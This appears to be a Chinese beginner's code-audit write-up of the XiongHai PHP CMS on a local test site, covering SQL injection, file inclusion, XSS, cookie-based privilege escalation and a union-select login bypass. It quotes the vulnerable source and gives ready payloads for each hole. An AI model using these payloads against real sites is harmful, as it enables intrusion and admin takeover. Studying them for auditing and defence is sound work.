下载熊海cms整个文件
phpstudy本地搭建网站完之后
先查看目录
——admin //后台文件 ——css //css文件 ——files //功能函数文件 ——images //图片 ——index.php //主目录文件 ——inc //include的简写,存放头文件的 ——install //安装文件 ——seacmseditor //编辑器 ——template //模板文件 ——upload //文件上传目录
开始进行代码审计
先seay扫描一遍
扫出第一个漏洞
一 安装界面存在sql注入漏洞
$query = "UPDATE manage SET user=\'$user\',password=\'$password\',name=\'$user\'";
构造报错注入payload
1\' or extractvalue(1,concat(0x7e,(select @@version),0x7e));#
二 主目录 和admin目录的index.php存在文件包含漏洞
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET[\'r\']); //接收文件名 $action=$file==\'\'?\'index\':$file; //判断为空或者等于index 也就是说 这是个三目运算符 优先级是要比赋值要高的 如果file变量为空 则把index赋值给file 否则就不对file变量进行操作 include(\'files/\'.$action.\'.php\'); //载入相应文件 ?>
addslashes函数
代码自动给action变量添加/file目录和PHP后缀 所以不要文件包含时不要再自己加php目录了 目录跳转到file的上一目录 也就是首目录执行上传的phpinfo
http://127.0.0.1/xionghaicms/index.php?r=../info.php
包含成功
admin目录的index.php也同样的利用方式
只不过需要跳转两次
http://127.0.0.1/xionghaicms/admin/index.php?r=../../info.php
三 前台多处sql注入
防止sql注入 此cms只是增加了addslashes()函数过滤
但是应用此函数时还需要注意一下两点
1. 是否有单引号保护
2.是否做了宽字节注入的防御
对于宽字节编码,有一种最好的修补就是: (1)使用mysql_set_charset(GBK)指定字符集 (2)使用mysql_real_escape_string进行转义 原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢? 就是使用mysql_set_charset进行指定。 上述的两个条件是“与”运算的关系,少一条都不行。
files/software.php 第13行未做单引号保护
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
files/content.php第19行未做单引号保护
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
files/submit.php 只是对type变量做了单引号保护 对于post传参也是可以sql注入的
$type=addslashes($_GET[\'type\']); $name=$_POST[\'name\']; $mail=$_POST[\'mail\']; $url=$_POST[\'url\']; $content=$_POST[\'content\']; $cid=$_POST[\'cid\']; $ip=$_SERVER["REMOTE_ADDR"]; $tz=$_POST[\'tz\']; if ($tz==""){$tz=0;} $jz=$_POST[\'jz\'];
四 xss漏洞
files/contact.php 第12~15行
$page=addslashes($_GET[\'page\']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - ";
构造payload page=<img src=x onerror=alert(/xss/);>执行成功
五 垂直越权
<?php $user=$_COOKIE[\'user\']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
这是个判断是否为管理员的程序,如果user中为空,就跳到登录首页。可以看到 cookie中的user被赋值给user变量 如果我们在需要登录管理员的页面下 在cookie中尝试添加 user:admin 发现在不需要密码的情况下登录成功。实现了垂直越权。
五 万能密码登录
漏洞位置admin\files\login.php
<?php ob_start(); require \'../inc/conn.php\'; $login=$_POST[\'login\']; $user=$_POST[\'user\']; $password=$_POST[\'password\']; $checkbox=$_POST[\'checkbox\']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user=\'$user\'"; $result = mysql_query($query) or die(\'SQL语句有误:\'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert(\'抱歉,用户名或者密码错误。\');history.back();</Script>"; exit; }else{ $passwords=$users[\'password\']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert(\'抱歉,用户名或者密码错误。\');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie(\'user\',$user,time()+3600*24*30,\'/\'); }else{ setcookie(\'user\',$user,0,\'/\'); } echo "<script>this.location=\'?r=index\'</script>"; exit; } exit; ob_end_flush(); } ?>
未对user值进行过滤就被带入到数据库进行查询
如果我们在输入user时利用联合查询临时插入一行值,其中包括着密码 在输入密码时结合构造的payload 即可实现登录
user:1\' union select 1,2,\'test\',\'c4ca4238a0b923820dcc509a6f75849b\',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
漏洞分析:
先是利用联合查询临时在表中生成了一行数据
然后在输入密码时和我们伪造的数据库密码对应 即可绕过验证 登录成功
总结:
这是我第一个完整的cms代码审计,但大多还是参考的师傅们的文章。要学的东西还有很多,一步一个脚印慢慢来吧。
路漫漫其修远兮,吾将上下而求索